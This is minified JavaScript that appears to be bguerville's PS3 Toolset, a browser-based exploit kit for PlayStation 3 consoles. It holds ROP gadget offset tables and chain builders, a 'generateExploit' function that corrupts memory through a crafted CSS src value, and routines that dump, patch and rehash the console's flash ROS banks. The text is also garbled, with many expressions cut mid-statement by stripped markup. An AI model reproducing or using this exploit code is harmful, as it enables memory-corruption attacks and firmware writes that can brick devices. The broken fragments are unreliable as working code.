var getElapsedTime=function(e){var r=(new Date-e)/1e3,e=Math.round(r%60).toString(),r=Math.floor(r/60).toString();return 0Thread BGXPLOIT_FXCOPY created
";for(var k=0;kCopy Object mt_read - Current File Offset: 0x"+(k*t).toString32()+"
Copy Object mt_write - Data Written: 0x"+t.toString32();if(0Copy Object mt_read - Current File Offset: 0x"+(n*t+a).toString32()+"
Copy Object mt_write - Data Copied: 0x"+a.toString32()+" bytes"),(g+=syscall32(helper.sc_fs_close,o.fd)+syscall32(helper.sc_fs_close,l.fd)+p).length/2%8!=0)return this.error.code=1717986918,void(this.error.msg+="Invalid SF size: 0x"+(g.length/2).toString(16)+" bytes");u[n]+="
Copy Object Operations complete";p=createThreadwithOPD(g,0,"BGXPLOIT_FXCOPY",200,2048,prep_threading());0===p.tid&&(this.error.code=2004318071,this.error.msg+="Thread Creation Error"),this.thread_object={tid:p.tid,rret:h,wret:c,log:u,stack_offset:p.stack_offset,sem_id:r,rlen:_,wlen:f}}else this.error.msg+="File Object in mode RW cannot open"}else this.error.msg+="File Object in mode RO cannot open"}var string=function(e,r){function t(e){if(e)return e;throw"string object deleted"}var s=!0===r||!1!==r,o=e||"";if(!1===s&&0\|]+$/.test(r)},this.start_notdot=function(){return/^\./.test(r)},this.filename_notforbidden=function(){return/^(nul|prn|con|lpt[0-9]|com[0-9])(\.|$)/i.test(r)}},validateFileName=function(e){var r=new regexTester(e);return 255 descriptor 0x"+n.fd.toString(16)),helper.cookies.set("udp_socket",n),i=!0,t="\n>@bguerville's PS3 Toolset v"+helper.tversion+" - UDP Debug Broadcast: Hello ;-)\n>UDP Port: "+n.port+"\n>PS3 Socket ID: 0x"+n.fd.toString(16),s=helper.heap.store(t,!0),helper.rop.rrun(syscall32(helper.sys_net_sendto,n.fd,s,t.length,0,n.sock_addr,16))<0?(l(),helper.rop.run(syscall32(helper.sys_net_sendto,n.fd,s,t.length,128,n.sock_addr,16))):o||(e=helper.heap.store(8),(r=helper.rop.rrun(syscall32(helper.sys_net_getsockopt,n.fd,65535,32,e,e+4)))<0&&Logger.debug("UDPBroadcaster.open: getsockopt call returned errno 0x"+helper.memory.upeek32(sysnet.sys_net_errno_loc()).toString(16)),1!==helper.memory.upeek32(e)&&(l(),helper.rop.run(syscall32(helper.sys_net_sendto,n.fd,s,t.length,128,n.sock_addr,16))),helper.heap.free([e])),helper.heap.free([s])),0===r&&0===p&&(p=setInterval(d,2500)),r};var r="\n>PS3 Toolset v"+helper.tversion+" UDP Trace Broadcast: Good Bye";this.opened=function(){return i};var t="";function d(){0 descriptor 0x"+n.fd.toString(16)+" sock_addr at 0x"+n.sock_addr.toString(16)),2147483648 descriptor 0x"+n.fd.toString(16)),helper.cookies.remove("udp_socket"),helper.heap.free([n.sock_addr,e]),i=!1,n.fd=-1,n.sock_addr=0,helper.bc=null)}};function fill(e,r){return hexh2bin(65535&r).repeat((e%2==1?e+1:e)/2)}function hexh2bin(e){return(e||0).toString16()}function hexw2bin(e){return(e||0).toString32()}function hexdw2bin(e){return u64_errchck("hexdw2bin",e=null==e?helper.gtemp_addr:e),e.toString64()}function vhexdw2bin(e){return helper.vtemp_addr=0 64 bit are not supported by this function")}function Gadgets(){var e=helper.swf.getFP9TBase();this.fpdbase=helper.swf.getFP9DBase(),this.fptoc_addr=helper.swf.getFP9TOC(),this.ugadget1_addr=e+521156,this.ugadget2_addr=e+5384,this.ugadget3_addr=e+1774560,this.ugadget4_addr=e+1223552,this.ugadget5_addr=e+209416,this.ugadget6_addr=e+15656,this.ugadget7_addr=e+427072,this.ugadget8_addr=e+521160,this.ugadget9_addr=e+785312,this.ugadget10_addr=e+2545104,this.ugadget11_addr=e+5049600,this.ugadget12_addr=e+459124,this.ugadget13_addr=e+3434548,this.ugadget14_addr=e+4136204,this.ugadget15_addr=e+841316,this.ugadget16_addr=e+740276,this.ugadget17_addr=e+11604,this.ugadget18_addr=e+759384,this.ugadget19_addr=e+1761124,this.ugadget20_addr=e+2540892,this.ugadget21_addr=e+4125300,this.ugadget22_addr=e+915392,this.ugadget23_addr=e+5088440,this.ugadget24_addr=e+719456,this.ugadget25_addr=e+916128,this.ugadget26_addr=e+1190248,this.ugadget27_addr=e+2924,this.ugadget28_addr=e+57036}var libc={memcpy:function(e,r,t){return callf(564,e,r,t)},memcmp:function(e,r,t){return callf(476,e,r,t)},memset:function(e,r,t){return callf(388,e,r,t)},memmove:function(e,r,t){return callf(392,e,r,t)},fopen:function(e,r){return callf(396,e,r)},fclose:function(e){return callf(496,e)},fread:function(e,r,t,s){return callf(480,e,r,t,s)},fwrite:function(e,r,t,s){return callf(512,e,r,t,s)},fseek:function(e,r,t){return callf(400,e,r,t)},rename:function(e,r){return callf(416,e,r)},unlink:function(e){return callf(516,e)},stat:function(e,r){return callf(404,e,r)},mkdir:function(e){return callf(316,e)},opendir:function(e){return callf(372,e)},closedir:function(e){return callf(456,e)},readdir:function(e){return callf(356,e)},rmdir:function(e){return callf(424,e)},Geterrno:function(){return callf(376)},printf:function(e,r,t,s,o,l,n,a){return callf(472,e,r,t,s,o,l,n,a)},sprintf:function(e,r,t,s,o,l,n,a){return callf(352,e,r,t,s,o,l,n,a)}},sysprx={lwmutex_create:function(e,r){return callf(556,e,r)},lwmutex_destroy:function(e){return callf(580,e)},lwmutex_lock:function(e,r){return callf(532,e,r)},lwmutex_unlock:function(e){return callf(536,e)},thread_create:function(e,r,t,s){return callf(272,e,r,t,s)},thread_exit:function(e){return callf(576,e)},sys_malloc:function(e){return call(helper.vshgadgets_box.sysPrxForUser_sys_malloc_opd_addr,e)},sys_free:function(e){return call(helper.vshgadgets_box.sysPrxForUser_sys_free_opd_addr,e)},sys_strlen:function(e){return callf(552,e)}},allocator={malloc:function(e){return call(helper.vshgadgets_box.allocator_malloc_opd_addr,e)},free:function(e){return call(helper.vshgadgets_box.allocator_free_opd_addr,e)}},sysnet={socket:function(e,r,t){return callf(628,e,r,t)},connect:function(e,r,t,s){return callf(608,e,r,t,s)},close:function(e,r){return callf(612,e,r)},recv:function(e,r,t,s){return callf(644,e,r,t,s)},recvfrom:function(e,r,t,s,o,l){return callf(596,e,r,t,s,o,l)},send:function(e,r,t,s){return callf(640,e,r,t,s)},sendto:function(e,r,t,s,o,l){return callf(624,e,r,t,s,o,l)},getsockopt:function(e,r,t,s,o){return callf(604,e,r,t,s,o)},setsockopt:function(e,r,t,s,o){return callf(620,e,r,t,s,o)},select:function(){return callf(600,pt1,pt2,sz)},gethostbyname:function(e){return callf(616,e)},inet_addr:function(e){return callf(636,e)},sys_net_errno_loc:function(){return call(helper.vshgadgets_box.sys_net__sys_net_errno_loc_opd_addr)},sys_net_errno:function(){return helper.memory.upeek32(this.sys_net_errno_loc())}},sdk={cellCryptoPuSha256Hash:function(e,r,t){return call(helper.vshgadgets_box.sdk_C7781115_opd_addr,e,r,t)},cellCryptoPuSha1Hash:function(e,r,t){return call(helper.vshgadgets_box.sdk_C7781115_opd_addr-160,e,r,t)}},buffer=function(){this.create=function(e){var r=helper.swf.getMaxAvailableBufferAllocSize();return r>=1}o.reverse();var a=o.join(""),i=(1<>24&255,e>>16&255,e>>8&255,255&e,r>>24&255,r>>16&255,r>>8&255,255&r),11,52)}function generateExploit(e,r){return generateIEEE754(e,(e<<32|(r>>1)-1)-e)}function findSecBAOffset(e){var r=document.getElementById("explt");r.style.src="local("+generateExploit(e-1024,2176)+")";var t=r.style.src.substr(6,2176).toAscii(),s=e-1020,r=s+t.indexOf("0100000001000000")/2,e=s+t.indexOf("0000100000000012")/2,t=s+t.indexOf("0000100000000014")/2;return rToolset ready","success",5):toast("Xploit Initialization completed with errors
Check the logs","warning",8),$("#ps3details").html("
PS3 Firmware: "+r+"
VSH mode: "+helper.vmode+"
Kernel mode: "+helper.kmode+"
Custom Syscalls: "+e+"
"),s||o.removeClass("ui-state-disabled"),$("#tabs").tabs("enable"),$("#tabs").tabs("option","disabled",[3]),setTimeout(function(){Logger.info("PS3 Firmware: "+r+" VSH mode: "+helper.vmode+" Kernel mode: "+helper.kmode)},200)}else updateErrorDetails("PS3 Firmware: "+r+" XPLOIT ERROR","PS3 Firmware: "+r+" XPLOIT ERROR"),toast("An error occurred during the exploitation process","error",8);else updateErrorDetails("PS3 Firmware version: "+r+" mismatch","PS3 Firmware version vs vsh.self version: mismatch detected"),Logger.warn("If you are using a firmware version spoofer, you should disable it (temporarily) before using the PS3 Toolset."),toast("The firmware on this console is not supported. This problem might be caused by firmware version spoofing.","error",8)}function dummy_frame(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget15_addr)+fill(192,helper.dbyte41)+hexdw2bin(e)}function set_r30_r31(e,r){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget5_addr)+fill(88,helper.dbyte41)+hexdw2bin(e)+hexdw2bin(r)}function set_r3to11(e,r,t,s,o,l,n,a,i,p,d){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget4_addr)+fill(80,helper.dbyte41)+fill(12,helper.dbyte41)+hexw2bin(i)+hexw2bin(a)+hexw2bin(l)+hexw2bin(o)+hexw2bin(s)+hexw2bin(t)+hexw2bin(r)+hexw2bin(e)+fill(16,helper.dbyte41)+hexw2bin(n)+fill(32,helper.dbyte41)+hexdw2bin(p)+fill(8,helper.dbyte41)+hexdw2bin(d)}function move_r29_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget7_addr)+fill(112,helper.dbyte41)+hexdw2bin(e)}function move_r31_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget6_addr)+fill(96,helper.dbyte41)+hexdw2bin(e)}function move_r3_into_r4(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget14_addr)+fill(128,helper.dbyte41)+hexdw2bin(e)}function move_r4_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget14_addr+4)+fill(128,helper.dbyte41)+hexdw2bin(e)}function move_r6_into_r3(e,r,t,s,o){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget18_addr)+fill(96,helper.dbyte41)+hexdw2bin(e)+hexdw2bin(r)+hexdw2bin(t)+hexdw2bin(s)+hexdw2bin(o)}function move_r7_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget24_addr)+fill(96,helper.dbyte41)+hexdw2bin(e)}function move_r10_into_r3(e,r){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget21_addr)+fill(88,helper.dbyte41)+hexdw2bin(e)+hexdw2bin(r)}function set_r29_r31(e,r){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget19_addr+36)+fill(128,helper.dbyte41)+hexdw2bin(e)+fill(8,helper.dbyte41)+hexdw2bin(r)}function set_r9_r10_r11_words(e,r,t,s,o){return set_r29_r31()+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget19_addr)+fill(92,helper.dbyte41)+hexw2bin(e)+hexw2bin(t)+hexw2bin(r)+fill(24,helper.dbyte41)+hexdw2bin(s)+fill(8,helper.dbyte41)+hexdw2bin(o)}function move_r9_into_r3(){var e=helper.heap.store(helper.gadgets_box.ugadget25_addr.toString32()+helper.snull32);return helper.heap.queue(e),set_r29_r31()+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget19_addr+4)+fill(96,helper.dbyte41)+hexw2bin(e)+fill(28,helper.dbyte41)+hexdw2bin(null)+fill(8,helper.dbyte41)+hexdw2bin(null)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function move_r8_into_r3(){var e=helper.heap.store(helper.gadgets_box.ugadget22_addr.toString32()+helper.snull32);return helper.heap.queue(e),set_r9_r10_r11_words(0,0,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function move_r5_into_r3(){var e=helper.heap.store(helper.gadgets_box.ugadget23_addr.toString32()+helper.snull32);return helper.heap.queue(e),set_r9_r10_r11_words(0,0,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function store_r3_dword(e,r){return set_r9_r10_r11_words(0,e,0)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget20_addr)+fill(96,helper.dbyte41)+hexdw2bin(r)}function store_r4_dword(e,r){return move_r4_into_r3()+store_r3_dword(e,r)}function store_r5_dword(e,r){return move_r5_into_r3()+store_r3_dword(e,r)}function store_r6_dword(e,r){return move_r6_into_r3()+store_r3_dword(e,r)}function store_r7_dword(e,r){return move_r7_into_r3()+store_r3_dword(e,r)}function store_r8_dword(e,r){return move_r8_into_r3()+store_r3_dword(e,r)}function store_r9_dword(e,r){return move_r9_into_r3()+store_r3_dword(e,r)}function store_r10_dword(e,r){return move_r10_into_r3()+store_r3_dword(e,r)}function restore_toc(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget8_addr)+fill(16,0)+hexdw2bin(e)+fill(64,helper.dbyte41)}function store_r3_word(e,r){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget11_addr+4)+fill(96,helper.dbyte41)+hexdw2bin(e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget11_addr)+fill(96,helper.dbyte41)+hexdw2bin(r)}function syscall(e,r,t,s,o,l,n,a,i,p,d,h,c,_,f,u){return set_r30_r31()+set_r3to11(0,0,s,o,l,n,a,i,e)+set_r30_r31(r,t)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget16_addr)+fill(128,helper.dbyte41)+hexdw2bin(p)+hexdw2bin(d)+hexdw2bin(h)+hexdw2bin(c)+hexdw2bin(_)+hexdw2bin(f)+hexdw2bin(u)}function syscall32(e,r,t,s,o,l,n,a,i){return set_r30_r31()+set_r3to11(r,t,s,o,l,n,a,i,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget9_addr)+fill(104,helper.dbyte41)}function call_subByOpd(e,r,t,s,o,l,n,a,i){return set_r30_r31()+set_r3to11(r,t,s,o,l,n,a,i,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function call_sub(e,r,t,s,o,l,n,a,i,p){r=helper.heap.store(e.toString32()+r.toString32());return helper.heap.queue(r),call_subByOpd(r,t,s,o,l,n,a,i,p)}function callsub(e,r,t,s,o,l,n,a,i,p,d,h,c,_){return h<96&&helper.error("callsub cannot use the gadget at 0x"+e.toString(16)+" because its frame size is < 0x"+96..toString(16)),restore_toc(r)+set_r30_r31()+set_r3to11(t,s,o,l,n,a,i,p,d)+fill(16,helper.dbyte41)+hexdw2bin(e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.fptoc_addr)+fill(h-56,0)+hexdw2bin(_)}function call(e,r,t,s,o,l,n,a,i){return helper.rop.rrun(call_subByOpd(e,r,t,s,o,l,n,a,i))}function callf(e,r,t,s,o,l,n,a,i){return call(helper.memory.upeek32(helper.gadgets_box.fpdbase+e),r,t,s,o,l,n,a,i)}function get_stat(e){var r=helper.heap.store(128);return helper.heap.queue(r),0!==libc.stat(e,r)?(console.log("stat failed: errno "+libc.Geterrno()),0):r}function fsitem_exists(e){var r=helper.heap.store(e,!0),t=helper.heap.store(128),e=libc.stat(r,t);return helper.heap.free([r,t]),0===e}function fsitem_getsize(e){var r=helper.heap.store(128),t=helper.heap.store(e,!0),s=helper.rop.rrun(syscall32(helper.sc_fs_stat,t,r)),e=2147483648<=(e=helper.memory.upeek32(r+helper.stat_size_offset))?0:e;return helper.heap.free([r,t]),0!==s?(Logger.error("fsitem_getsize stat error: 0x"+s),-1):e}function getSHA256hash(e,r){var t=helper.heap.store(32),r=sdk.cellCryptoPuSha256Hash(t,e,r);console.log("getSHA256hash: "+r);r=helper.memory.upeeks(t,32,!1);return helper.heap.free([t]),r.toUpperCase()}function getSHA1hash(e,r){var t=helper.heap.store(20),r=(sdk.cellCryptoPuSha1Hash(t,e,r),helper.memory.upeeks(t,20,!1));return helper.heap.free([t]),r}function makeDir(e){var r=helper.heap.store(e,!0),r=libc.mkdir(r);return helper.heap.free([e]),r}function removeDir(e){var r=helper.heap.store(e,!0),r=libc.rmdir(r);return helper.heap.free([e]),r}function deleteFile(e){var r=helper.heap.store(e,!0),r=libc.unlink(r);return helper.heap.free([e]),r}function moveFile(e,r){var t=copyFile(e,r);return 0===t&&(r=helper.heap.store(e,!0),t=libc.unlink(r),helper.heap.free([e])),t}function copyFile(o,l,e,n){var a=new fileObject(o),i=new fileObject(l,helper.fs_flag_create_append_rw),p=-1,d=-1;function h(){p=a.close(),d=i.close(),0===p&&0===d?(Logger.info("copyFile: Files closed successfully"),0):0!==p?Logger.error("copyFile: Closing Error 0x"+p.toString(16)+" on source file "+o):Logger.error("copyFile: Closing Error 0x"+d.toString(16)+" on destination file "+l),e&&n&&$.Deferred().done(e).resolve(n)}function r(){n=toast("Copying file","warning",300);var e=helper.swf.getMaxAvailableBufferAllocSize();if(a.size>e){for(var r=Math.floor(a.size/e),t=a.size-r*e,s=0;sFile loading error"):Logger.info("File Object load: Data loaded successfully"),o},this.save=function(e,r,t,s){var o=2415919103,l=e||this.buffer;if(536870912r?o=2332033023:r<=0&&(o=2365587455);return 0!==o?Logger.error("File Object save: error 0x"+o.toString(16)):Logger.info("File Object save: Data saved successfully"),o}},ROSHashObject=function(e,r){if(this.error={code:0,msg:""},!e||!r)return this.error.code=2415919098,void(this.error.msg="ROSHashObject creation failure - bad arguments");if(this.error.code=e.open(),0===this.error.code){var t=28672/helper.step_sector,s=8*t+64+16,o=r.tls.offset;libc.memset(o,255,s),this.ret=[],this.rlen=[],this.log=[],this.sfx=[];var l=r.dump_start,n=r.data_buffer.offset;this.log[0]="Multithreaded ROS banks Hashing Operations:
Storage Object read - Number of Sectors: 0x"+28672..toString(16);for(var a="",i=0;iStorage Object read - Current Sector: 0x"+l.toString(16)+"
Storage Object read - Current Memory Buffer Offset: 0x"+n.toString(16),l+=helper.step_sector,n+=helper.step_sector*e.sector_size;this.log[0]+="
Storage Object read operation complete",this.sfx[0]=a,this.hash_r0=o,this.hash_r1=o+32;var p=e.is_nor(),d=p?16:48,s=p?7340048:7340064;Logger.info("ROSHashObject: ROS0 SHA256 Calculation Start Offset: 0x"+(r.data_buffer.offset+d).toString(16)),Logger.info("ROSHashObject: ROS0 SHA256 Hash Offset: 0x"+this.hash_r0.toString(16)),Logger.info("ROSHashObject: ROS1 SHA256 Calculation Start Offset: 0x"+(r.data_buffer.offset+s).toString(16)),Logger.info("ROSHashObject: ROS1 SHA256 Hash Offset: 0x"+this.hash_r1.toString(16)),a=p?"":vset_r30_r31()+vset_r30_r31()+vset_r30_r31()+vcall_subByOpd(helper.vshgadgets_box.memset_opd_addr,r.data_buffer.offset+7340032+helper.patchfile_size,0,32),a+=vset_r30_r31()+vset_r30_r31()+vset_r30_r31()+vcall_subByOpd(helper.vshgadgets_box.sdk_C7781115_opd_addr,this.hash_r1,r.data_buffer.offset+s,helper.patchfile_size),this.log[1]+="
Calculated ROS 1 Hash",this.sfx[1]=a;s=vset_r30_r31()+vset_r30_r31()+vset_r30_r31(),a=p?"":s+vcall_subByOpd(helper.vshgadgets_box.memset_opd_addr,r.data_buffer.offset+helper.patchfile_size,0,48);a+=s+vcall_subByOpd(helper.vshgadgets_box.sdk_C7781115_opd_addr,this.hash_r0,r.data_buffer.offset+d,helper.patchfile_size),this.log[2]+="
Calculated ROS 0 Hash",this.sfx[2]=a}else this.error.msg+="Storage Object cannot open"},patchObject=function(e,r){if(this.error={code:0,msg:""},!e||!r)return this.error.code=2415919098,void(this.error.msg="patchObject creation failure - bad arguments");if(this.error.code=e.open(),0===this.error.code){var t=r.sector_count/helper.step_sector/2,s=2*t*8,o=r.data_buffer.offset+r.data_buffer.size-1048576;libc.memset(o,255,s),this.ret=[],this.wlen=[],this.log=[],this.sfp=[];for(var l=0,n=0,a="",i=0;i<2;i++){l=0===i?r.data_buffer.offset+r.offset_data.ros0:r.data_buffer.offset+r.offset_data.ros1,n=r.patch_start+i*(r.sector_count/2),this.log[i]+="Patch Object mt_write - Operation "+i.toString()+" - Number of Sectors: 0x"+(r.sector_count/2).toString(16)+" - Sector Start: 0x"+n.toString(16),this.wlen[i]=[],this.ret[i]=[];for(var p=0;pStorage Object write - Current Sector: 0x"+n.toString(16)+"
Storage Object write - Current Memory Buffer Offset: 0x"+l.toString(16),l+=helper.step_sector*e.sector_size,n+=helper.step_sector;this.log[i]+="
Patch Object mt_write - Operation "+i.toString()+" Completed",this.sfp[i]=a,a=""}this.log[1]+="
Patch Object Operations complete"}else this.error.msg+="Storage Object cannot open"},dumpObject=function(e,r,t){if(this.error={code:0,msg:""},!e||!t)return this.error.code=2415919098,void(this.error.msg="dumpObject creation failure - bad arguments");if(this.error.code=e.open(),0===this.error.code)if(this.error.code=r.open(helper.fs_flag_create_rw),0===this.error.code){t.nsec_iter=t.nsec_iter*e.sector_size<=t.buffer.size?t.nsec_iter:t.buffer.size/e.sector_size;var s=parseInt(t.dump_start)===t.dump_start?t.dump_start:0,o=Math.floor(t.sector_count/t.nsec_iter),l=t.sector_count-o*t.nsec_iter,n=Math.floor(t.nsec_iter/helper.step_sector),a=Math.floor(l/helper.step_sector),i=l-a*helper.step_sector,p=t.nsec_iter-n*helper.step_sector;if(0===o)this.error.code=2415919103,this.error.msg+="Arguments error: obj.sector_count % obj.nsec_iter must be 0 & obj.sector_count>obj.nsec_iter";else{var d=(o+1)*(n+1)*8+12*(o+1)+8*(a+1),h=t.tls.offset;libc.memset(h,255,d),this.rret=[],this.rlen=[],this.wret=[],this.wlen=[],this.log=[],this.sfr=[],this.sfw=[];var c=0";for(var f="",u=0;uDump Object mt_read - Number of Sectors: 0x"+t.nsec_iter.toString(16),this.rret[u]=[],this.rlen[u]=[];for(var g=0;gDump Object mt_read - Current Sector: 0x"+s.toString(16)+"
Dump Object mt_read - Current Memory Buffer Offset: 0x"+_.toString32(),s+=helper.step_sector,_+=helper.step_sector*e.sector_size;0Dump Object mt_read - Current Sector: 0x"+s.toString(16)+"
Dump Object mt_read - Current Memory Buffer Offset: 0x"+_.toString32(),s+=p,_+=p*e.sector_size),this.sfr[u]=f,this.log[u]+="
Dump Object mt_read operation complete
Dump Object mt_save: Save Operations - Data Size 0x"+c.toString(16)+" Buffer offset 0x"+(t.buffer.offset+t.save_offset).toString32()+"
Dump Object mt_save: Save Operations - Complete",this.wlen[u]=h,this.wret[u]=h+8,h+=12,f=vsyscall32(helper.sc_fs_write,r.fd,t.buffer.offset+t.save_offset,c,this.wlen[u])+vstore_r3_word(this.wret[u]),this.sfw[u]=f}if(0Dump Object mt_read - Number of Sectors: 0x"+t.nsec_iter.toString(16),this.rret[o]=[],this.rlen[o]=[],g=0;gDump Object mt_read - Current Sector: 0x"+s.toString32()+"
Dump Object mt_read - Current Memory Buffer Offset: 0x"+_.toString32(),s+=helper.step_sector,_+=helper.step_sector*e.sector_size;0Dump Object mt_read - Current Sector: 0x"+s.toString32()+"
Dump Object mt_read - Current Memory Buffer Offset: 0x"+_.toString32(),s+=i,_+=i*e.sector_size),this.sfr[o]=f,this.log[o]+="
Dump Object mt_read operation complete
Dump Object mt_save: Save Operations - Data Size 0x"+c.toString(16)+" Buffer offset 0x"+(t.buffer.offset+t.save_offset).toString32()+"
Dump Object mt_save: Save Operations - Complete",this.wlen[o]=h,this.wret[o]=h+8,h+=12,f=vsyscall32(helper.sc_fs_write,r.fd,t.buffer.offset+t.save_offset,d,this.wlen[o])+vstore_r3_word(this.wret[o])+"",this.sfw[o]=f}}}else this.error.msg+="File Object in mode RW cannot open";else this.error.msg+="Storage Object cannot open"},storageObject=function(){this.device_handle=-1,this.current_sector=0,this.step_sector=helper.step_sector,this.buffer={offset:0,size:0};var c=helper.heap.store();this.totalsec=0,this.sector_size=0;var _=is_norflash();this.flash_type=_?UInt64("0100000000000004"):UInt64("0100000000000001"),this.is_nor=function(){return _},this.open=function(){var e=0;if(this.device_handle<=0){var r=helper.heap.store();e=helper.rop.rrun(syscall(helper.sc_sso,this.flash_type,0,r));var t=helper.memory.upeek32(r);if(helper.heap.free([r]),0!==e||t<=0)return Logger.error("Storage Object open: failed to open"),this.device_handle=-1,e;Logger.info("Storage Object opened"),this.device_handle=t,0!==this.totalsec&&0!==this.sector_size||(Logger.info("Storage Object get_device_info"),t=helper.heap.store(64),e=helper.rop.rrun(syscall(helper.sc_ssgdi,this.flash_type,t)),this.totalsec=helper.memory.upeek32(t+44),this.sector_size=helper.memory.upeek32(t+48),Logger.info("Storage Object Sector size: 0x"+this.sector_size.toString(16)+" bytes - Total Number of Sectors: 0x"+this.totalsec.toString(16)),helper.heap.free([t]),0!==e&&Logger.error("Storage Object get_device_info: failed to get data"))}return e},this.read=function(e,r,t){var s="Storage Object read - Number of Sectors: 0x"+e.toString(16),o=-1;if(0!==this.open()||this.device_handle<=0)return Logger.error("Storage Object read aborted"),o;this.current_sector=r||this.current_sector;for(var l=eStorage Object read - Current Sector: 0x"+this.current_sector.toString(16)+"
Storage Object read - Current Memory Buffer Offset: 0x"+i.toString(16),a=helper.memory.upeek32(c),(0!==o||aStorage Object read error:"+o?" 0x"+o.toString(16):" failed to read "+l.toString(16)+" sectors - Number of sectors read: 0x"+a.toString(16)),this.current_sector=this.current_sector+l,i+=l*this.sector_size;return 0Storage Object read - Current Sector: 0x"+this.current_sector.toString(16)+"
Storage Object read - Current Memory Buffer Offset: 0x"+i.toString(16),a=helper.memory.upeek32(c),(0!==o||aStorage Object read error:"+o?" 0x"+o.toString(16):" failed to read "+r.toString(16)+" sectors - Number of sectors read: 0x"+a.toString(16)),this.current_sector=this.current_sector+r,i+=r*this.sector_size),s+="
Storage Object read operation complete",Logger.info(s),o},this.write=function(e,r,t){var s="Storage Object write - Number of Sectors: 0x"+e.toString(16),o=-1;if(0!==this.open()||this.device_handle<=0)return Logger.error("Storage Object write aborted"),o;for(var l=eStorage Object write - Current Sector: 0x"+(p+h*l).toString(16)+"
Storage Object write - Current Memory Buffer Offset: 0x"+d.toString(16),i=helper.memory.upeek32(c),0===o&&i===l||(s+=0<"
Storage Object write error:"+o?" 0x"+o.toString(16):" failed to write "+l.toString(16)+" sectors - Number of sectors written: 0x"+i.toString(16)),this.current_sector=this.current_sector+l,d+=l*this.sector_size;return 0Storage Object write - Current Sector: 0x"+(p+e-a).toString(16)+"
Storage Object write - Current Memory Buffer Offset: 0x"+d.toString(16),i=helper.memory.upeek32(c),0===o&&i===a||(s+=0<"
Storage Object write error:"+o?" 0x"+o.toString(16):" failed to write "+a.toString(16)+" sectors - Number of sectors written: 0x"+i.toString(16)),0===o&&i!==a&&(o=2415919103),this.current_sector=this.current_sector+a,d+=a*this.sector_size),s+="Storage Object write operation complete",Logger.info(s),o},this.close=function(e){var r=0;return 0Path: "+r,o+=DownloadURL_sf(e,r),this.sfd[0]=o},LoadPluginById=function(e,r){return 0===getXMM0IF()?call(helper.memory.upeek32(helper.xmm0_interface+12),e,r,0):-1},ClosePluginById=function(e,r){return 0===getXMM0IF()?call(helper.memory.upeek32(helper.xmm0_interface+20),e,r,1):-1},UnloadPluginById=function(e,r){return helper.xmm0_interface=0Processing folders: files:

"+e+"

",r)},infoDialog=function(e,r,t,s){guiDialog([{text:"OK",icon:"ui-icon-check",click:function(e,r){t&&$.Deferred().done(t).resolve(s),clean_guiDialog()}}],e,r)},guiDialog=function(e,r,t){var s=$("#dg-text"),o=$("#dg-confirm");s.html(r),o.dialog({resizable:!1,dialogClass:"no-close",title:t,height:"auto",show:{effect:"fade",duration:1e3},hide:{effect:"fade",duration:1e3},width:500,modal:!0,buttons:e}),setTimeout(function(){var e=$("#dg-confirm").parent().find(".ui-dialog-buttonpane");e.hover(function(){e.find(".ui-button").blur()})},1)},toast=function(e,r,t,s,o){return $().toastmessage("showToast",{inEffectDuration:600,stayTime:1e3*t,text:e,position:"top-right",type:r,closeText:"",close:function(){s&&$.Deferred().done(s).resolve(o)}})},getToken=function(){return token},getPlugin=function(){return btoa(navigator.plugins[0].filename)},getHMAC=function(e,r){r=new sjcl.misc.hmac(sjcl.codec.hex.toBits(e),sjcl.hash.sha256).mac(sjcl.codec.hex.toBits(r));return sjcl.codec.hex.fromBits(r)},hkdf=function(e,r,t){return sjcl.codec.hex.fromBits(sjcl.misc.hkdf(sjcl.codec.base64.toBits(e),256,sjcl.codec.hex.toBits(r),t))},aes_decrypt=function(e,r,t,s){if(s&&s.length)throw new sjcl.exception.invalid("cbc data authentication error");if(128!==sjcl.bitArray.bitLength(t))throw new sjcl.exception.invalid("cbc iv must be 128 bits");if(127&sjcl.bitArray.bitLength(r)||!r.length)throw new sjcl.exception.corrupt("cbc ciphertext must be a positive multiple of the block size");var o,l,n,a=sjcl.bitArray,i=a._xor4,p=[];for(s=s||[],o=0;o